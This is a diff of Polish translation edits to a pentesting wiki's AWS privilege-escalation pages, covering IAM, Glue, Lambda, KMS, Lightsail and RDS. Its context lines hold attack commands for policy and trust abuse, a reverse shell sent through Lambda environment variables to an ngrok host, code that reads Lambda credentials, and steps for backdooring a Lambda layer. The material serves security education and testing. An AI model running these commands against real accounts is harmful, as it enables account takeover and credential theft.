@@ -9,7 +9,7 @@ Dzięki temu uprawnieniu atakujący może uzyskać **nowy zestaw poświadczeń d
 aws gamelift request-upload-credentials \
 --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
 ```
-## References
+## Odniesienia
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index e25bf90ca..b79c9d522 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-Dla celów ukrycia, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.
+Dla celów stealth, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.
 
 **Potencjalny wpływ:** Privesc do roli usługi glue określonej.
 
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-**Potencjalny wpływ:** Privesc do roli usługi glue używanej.
+**Potencjalny wpływ:** Privesc do roli usługi glue.
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-Użytkownicy z **`iam:PassRole`** w połączeniu z **`glue:CreateJob` lub `glue:UpdateJob`**, oraz **`glue:StartJobRun` lub `glue:CreateTrigger`** mogą **tworzyć lub aktualizować zadanie AWS Glue**, przypisując dowolne **konto usługi Glue**, i inicjować wykonanie zadania. Możliwości zadania obejmują uruchamianie dowolnego kodu Python, co można wykorzystać do ustanowienia odwrotnego powłoki. Ta odwrotna powłoka może być następnie wykorzystana do wykradzenia **poświadczeń IAM** roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań opartych na uprawnieniach tej roli:
+Użytkownicy z **`iam:PassRole`** w połączeniu z **`glue:CreateJob` lub `glue:UpdateJob`**, oraz **`glue:StartJobRun` lub `glue:CreateTrigger`** mogą **tworzyć lub aktualizować zadanie AWS Glue**, przypisując dowolne **konto usługi Glue**, i inicjować wykonanie zadania. Możliwości zadania obejmują uruchamianie dowolnego kodu Python, co może być wykorzystane do ustanowienia odwrotnego powłoki. Ta odwrotna powłoka może być następnie wykorzystana do wykradzenia **poświadczeń IAM** roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań opartych na uprawnieniach tej roli:
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -75,7 +75,7 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 
 ### `glue:UpdateJob`
 
-Tylko z uprawnieniem do aktualizacji, atakujący mógłby ukraść poświadczenia IAM już przypisanej roli.
+Mając tylko uprawnienie do aktualizacji, atakujący mógłby ukraść poświadczenia IAM już przypisanej roli.
 
 **Potencjalny wpływ:** Privesc do roli usługi glue przypisanej.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 0ee48f7fb..b696a1549 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat IAM, sprawdź:
 
 ### **`iam:CreatePolicyVersion`**
 
-Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` za pomocą flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
+Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
 
 **Exploit Command:**
 ```bash
@@ -25,7 +25,7 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \
 
 Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień.
 
-**Bash Command:**
+**Polecenie Bash:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
@@ -35,11 +35,11 @@ aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id
 
 Umożliwia tworzenie identyfikatora klucza dostępu i tajnego klucza dostępu dla innego użytkownika, co prowadzi do potencjalnej eskalacji uprawnień.
 
-**Wykorzystanie:**
+**Eksploatacja:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
+**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie rozszerzonych uprawnień innego użytkownika.
 
 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
@@ -61,7 +61,7 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require
 
 Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.
 
-**Wykorzystanie:**
+**Eksploatacja:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
@@ -75,7 +75,7 @@ Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**Eksploatacja dla Resetu:**
+**Eksploatacja dla resetu:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
@@ -85,7 +85,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id <cred
 
 Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
 
-**Wykorzystanie dla użytkownika:**
+**Eksploatacja dla użytkownika:**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
@@ -99,11 +99,11 @@ aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>
 
 Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznawanie dodatkowych uprawnień.
 
-**Wykorzystanie dla roli:**
+**Eksploatacja dla Roli:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**Eksploatacja dla Polityk Inline:**
+**Eksploatacja dla polityk inline:**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -133,7 +133,7 @@ Możesz użyć polityki takiej jak:
 
 Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
 
-**Wykorzystanie:**
+**Eksploatacja:**
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
@@ -148,7 +148,7 @@ Pozwala na modyfikację dokumentu polityki przyjmowania roli, umożliwiając prz
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyjęcia roli:
+Gdzie polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyjęcia roli:
 ```json
 {
 "Version": "2012-10-17",
@@ -167,9 +167,9 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyj
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.
+Zezwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.
 
-**Wykorzystanie do przesyłania klucza SSH:**
+**Eksploatacja przesyłania klucza SSH:**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
@@ -188,11 +188,11 @@ Pozwala na resynchronizację urządzenia MFA, co może prowadzić do pośredniej
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Wpływ:** Pośrednia eskalacja uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.
+**Wpływ:** Pośrednie podniesienie uprawnień przez dodanie lub manipulację urządzeniami MFA.
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** z dowolną **rolą, która jej ufa**.
+Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz wykorzystać **federację SAML** do **logowania** się z dowolną **rolą, która jej ufa**.
 
 Zauważ, że robiąc to **legitni użytkownicy nie będą mogli się zalogować**. Możesz jednak uzyskać XML, aby wprowadzić swój, zalogować się i skonfigurować poprzednie ustawienia.
 ```bash
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy.
+(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 961bab78f..9108bac23 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -61,8 +61,8 @@ aws kms create-grant \
 
 > [!WARNING]
 > Należy pamiętać, że może minąć kilka minut, zanim KMS **pozwoli użytkownikowi na użycie klucza po wygenerowaniu grant**. Po upływie tego czasu, podmiot może używać klucza KMS bez potrzeby określania czegokolwiek.\
-> Jednak, jeśli konieczne jest natychmiastowe użycie grantu [użyj tokena grantu](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (sprawdź poniższy kod).\
-> Dla [**więcej informacji przeczytaj to**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> Jednak jeśli konieczne jest natychmiastowe użycie grantu [użyj tokena grantu](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (sprawdź poniższy kod).\
+> Aby [**uzyskać więcej informacji, przeczytaj to**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
@@ -78,7 +78,7 @@ aws kms list-grants --key-id <value>
 
 Dzięki tym uprawnieniom możliwe jest replikowanie klucza KMS włączonego w wielu regionach w innym regionie z inną polityką.
 
-Zatem atakujący mógłby to wykorzystać, aby uzyskać dostęp do klucza i go użyć.
+Zatem atakujący mógłby to wykorzystać, aby uzyskać privesc do swojego dostępu do klucza i go użyć.
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 3c85358a6..901009ae3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -14,7 +14,7 @@ Więcej informacji o lambda w:
 
 Użytkownicy z uprawnieniami **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** mogą eskalować swoje uprawnienia.\
 Mogą **utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM**, przyznając funkcji uprawnienia związane z tą rolą. Użytkownik może następnie **napisać i przesłać kod do tej funkcji Lambda (na przykład z rev shellem)**.\
-Gdy funkcja jest skonfigurowana, użytkownik może **wywołać jej wykonanie** i zamierzone działania, wywołując funkcję Lambda za pośrednictwem API AWS. To podejście skutecznie pozwala użytkownikowi na wykonywanie zadań pośrednio za pośrednictwem funkcji Lambda, działając na poziomie dostępu przyznanym do roli IAM z nią związanej.\\
+Gdy funkcja jest skonfigurowana, użytkownik może **wywołać jej wykonanie** i zamierzone działania, wywołując funkcję Lambda za pośrednictwem API AWS. To podejście skutecznie pozwala użytkownikowi na wykonywanie zadań pośrednio przez funkcję Lambda, działając na poziomie dostępu przyznanym do związanej z nią roli IAM.\\
 
 Atakujący mógłby to wykorzystać, aby uzyskać **rev shell i ukraść token**:
 ```python:rev.py
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-Możliwe jest również wycieknięcie poświadczeń roli lambdy bez potrzeby nawiązywania zewnętrznego połączenia. Będzie to przydatne dla **Lambd izolowanych sieciowo** używanych do zadań wewnętrznych. Jeśli istnieją nieznane grupy zabezpieczeń filtrujące twoje odwrotne powłoki, ten fragment kodu pozwoli ci bezpośrednio wycieknięcie poświadczeń jako wynik lambdy.
+Możliwe jest również wycieknięcie poświadczeń roli lambdy bez potrzeby nawiązywania zewnętrznego połączenia. Będzie to przydatne dla **Lambd izolowanych sieciowo** używanych w zadaniach wewnętrznych. Jeśli istnieją nieznane grupy zabezpieczeń filtrujące twoje odwrotne powłoki, ten fragment kodu pozwoli ci bezpośrednio wycieknięcie poświadczeń jako wynik lambdy.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-Teraz możliwe jest **połączenie funkcji Lambda z tabelą DynamoDB** poprzez **utworzenie mapowania źródła zdarzeń**:
+Teraz możliwe jest **połączenie funkcji Lambda z tabelą DynamoDB** poprzez **utworzenie mapowania źródła zdarzenia**:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda używanej przez przyznanie uprawnienia do modyfikacji kodu i jego uruchomienia.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do roli usługi lambda poprzez przyznanie uprawnienia do modyfikacji kodu i jego uruchomienia.
 
 ### `lambda:AddLayerVersionPermission`
 
@@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 
 ### `lambda:UpdateFunctionCode`
 
-Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał do **modyfikacji kodu istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\
+Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał, aby **zmodyfikować kod istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\
 Napastnik może **zmodyfikować kod lambdy, aby wyeksportować poświadczenia IAM**.
 
 Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu.
@@ -157,13 +157,13 @@ aws lambda invoke --function-name my_function output.txt
 
 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda używanej.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do roli usługi lambda.
 
 ### `lambda:UpdateFunctionConfiguration`
 
 #### RCE przez zmienne środowiskowe
 
-Dzięki tym uprawnieniom możliwe jest dodanie zmiennych środowiskowych, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można nadużyć zmiennych środowiskowych `PYTHONWARNING` i `BROWSER`, aby proces Pythona wykonał dowolne polecenia:
+Dzięki tym uprawnieniom możliwe jest dodanie zmiennych środowiskowych, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można wykorzystać zmienne środowiskowe `PYTHONWARNING` i `BROWSER`, aby proces Pythona wykonał dowolne polecenia:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
@@ -175,9 +175,9 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
 
 #### RCE za pomocą Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) pozwala na dołączenie **kodu** do twojej funkcji lamdba, ale **przechowując go osobno**, dzięki czemu kod funkcji może pozostać mały, a **kilka funkcji może dzielić kod**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) pozwala na dołączenie **kod** do twojej funkcji lamdba, ale **przechowując go osobno**, dzięki czemu kod funkcji może pozostać mały, a **kilka funkcji może dzielić kod**.
 
-Wewnątrz lambdy możesz sprawdzić ścieżki, z których ładowany jest kod python za pomocą funkcji takiej jak poniższa:
+Wewnątrz lamdba możesz sprawdzić ścieżki, z których ładowany jest kod python za pomocą funkcji takiej jak poniższa:
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-To są miejsca:
+Oto miejsca:
 
 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -202,20 +202,20 @@ Na przykład, biblioteka boto3 jest ładowana z `/var/runtime/boto3` (4. pozycja
 
 #### Wykorzystanie
 
-Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, również zauważ, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam.
+Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, zauważ również, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam.
 
 Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z najnowszą wersją biblioteki:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki na przykład).
+Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania powrotnego powłoki na przykład).
 
 Następnie spakuj ten katalog `./lambda_layer` i **prześlij nową warstwę lambda** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).\
 Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być **kompatybilna z wersją pythona** używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi być w **tej samej strefie:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Teraz spraw, aby przesłana warstwa lambda była **dostępna dla każdego konta**:
+Teraz spraw, aby przesyłana warstwa lambda była **dostępna dla każdego konta**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 0bd7f7cc0..8de26a773 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -11,11 +11,11 @@ Aby uzyskać więcej informacji o Lightsail, sprawdź:
 {{#endref}}
 
 > [!WARNING]
-> Ważne jest, aby zauważyć, że Lightsail **nie używa ról IAM należących do użytkownika**, ale do zarządzanego konta AWS, więc nie możesz nadużywać tej usługi do privesc. Jednak **wrażliwe dane**, takie jak kod, klucze API i informacje o bazach danych, mogą być dostępne w tej usłudze.
+> Ważne jest, aby zauważyć, że Lightsail **nie używa ról IAM należących do użytkownika**, lecz do zarządzanego konta AWS, więc nie możesz nadużyć tej usługi do privesc. Jednak **wrażliwe dane**, takie jak kod, klucze API i informacje o bazach danych, mogą być znalezione w tej usłudze.
 
 ### `lightsail:DownloadDefaultKeyPair`
 
-To uprawnienie pozwoli Ci uzyskać klucze SSH do uzyskania dostępu do instancji:
+To uprawnienie pozwoli ci uzyskać klucze SSH do uzyskania dostępu do instancji:
 ```
 aws lightsail download-default-key-pair
 ```
@@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name <instance_name>
 
 ### `lightsail:CreateBucketAccessKey`
 
-To uprawnienie pozwoli Ci uzyskać klucz do dostępu do koszyka:
+To uprawnienie pozwoli ci uzyskać klucz do dostępu do koszyka:
 ```bash
 aws lightsail create-bucket-access-key --bucket-name <name>
 ```
@@ -75,11 +75,11 @@ aws lightsail put-instance-public-ports \
 --instance-name MEAN-2 \
 --port-infos fromPort=22,protocol=TCP,toPort=22
 ```
-**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych portów.
+**Potencjalny wpływ:** Dostęp do wrażliwych portów.
 
 ### `lightsail:SetResourceAccessForBucket`
 
-Te uprawnienia pozwalają na przyznanie instancjom dostępu do koszyka bez dodatkowych poświadczeń.
+To uprawnienie pozwala na przyznanie instancjom dostępu do koszyka bez dodatkowych poświadczeń.
 ```bash
 aws set-resource-access-for-bucket \
 --resource-name <instance-name> \
@@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \
 
 ### `lightsail:UpdateBucket`
 
-Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:
+Dzięki temu uprawnieniu atakujący mógłby przyznać własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:
 ```bash
 # Grant read access to exterenal account
 aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
@@ -101,7 +101,7 @@ aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPub
 # Bucket private but single objects can be public
 aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
 ```
-**Potencjalny wpływ:** Potencjalny nowy dostęp do kubełków z wrażliwymi informacjami.
+**Potencjalny wpływ:** Potencjalny nowy dostęp do koszyków z wrażliwymi informacjami.
 
 ### `lightsail:UpdateContainerService`
 
@@ -115,7 +115,7 @@ aws update-container-service \
 
 ### `lightsail:CreateDomainEntry`
 
-Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP.
+Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, a nawet ustawić główną domenę na swój własny adres IP.
 ```bash
 aws lightsail create-domain-entry \
 --domain-name example.com \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
index e2a2e4949..67c1fac26 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -14,7 +14,7 @@ Zmienia nazwę użytkownika i hasło pierwszego IngestEndpoint kanału. (To API
 ```bash
 aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
 ```
-## References
+## Odniesienia
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 48f159310..55b5e7c36 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -27,7 +27,7 @@ aws mq list-brokers
 aws mq list-users --broker-id <value>
 aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
 ```
-**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych informacji poprzez nawigację w ActiveMQ
+**Potencjalny wpływ:** Dostęp do wrażliwych informacji poprzez nawigację w ActiveMQ
 
 ### `mq:ListBrokers`, `mq:UpdateBroker`
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index 865fe83ea..03678172f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -16,7 +16,7 @@ Dzięki tym **uprawnieniom** i **dostępowi do VPC, w którym znajdują się bro
 ```bash
 aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
 ```
-Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** udostępnionym. Jeśli jest publicznie udostępniony, jeśli **używane jest uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\
-Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie udostępniona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenie na dostęp do niej.
+Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** wystawionym. Jeśli jest publicznie wystawiony, jeśli używane jest **uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\
+Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie wystawiona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenia na dostęp do niej.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index b0498fd44..e96d78fd2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## RDS - Usługa Relacyjnej Bazy Danych
+## RDS - Relacyjna Usługa Baz Danych
 
-Aby uzyskać więcej informacji na temat RDS, sprawdź:
+Aby uzyskać więcej informacji o RDS, sprawdź:
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat RDS, sprawdź:
 
 ### `rds:ModifyDBInstance`
 
-Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie do bazy danych:
+Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie w bazie danych:
 ```bash
 # Get the DB username, db name and address
 aws rds describe-db-instances
@@ -27,7 +27,7 @@ aws rds modify-db-instance \
 psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 ```
 > [!WARNING]
-> Będziesz musiał **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci).
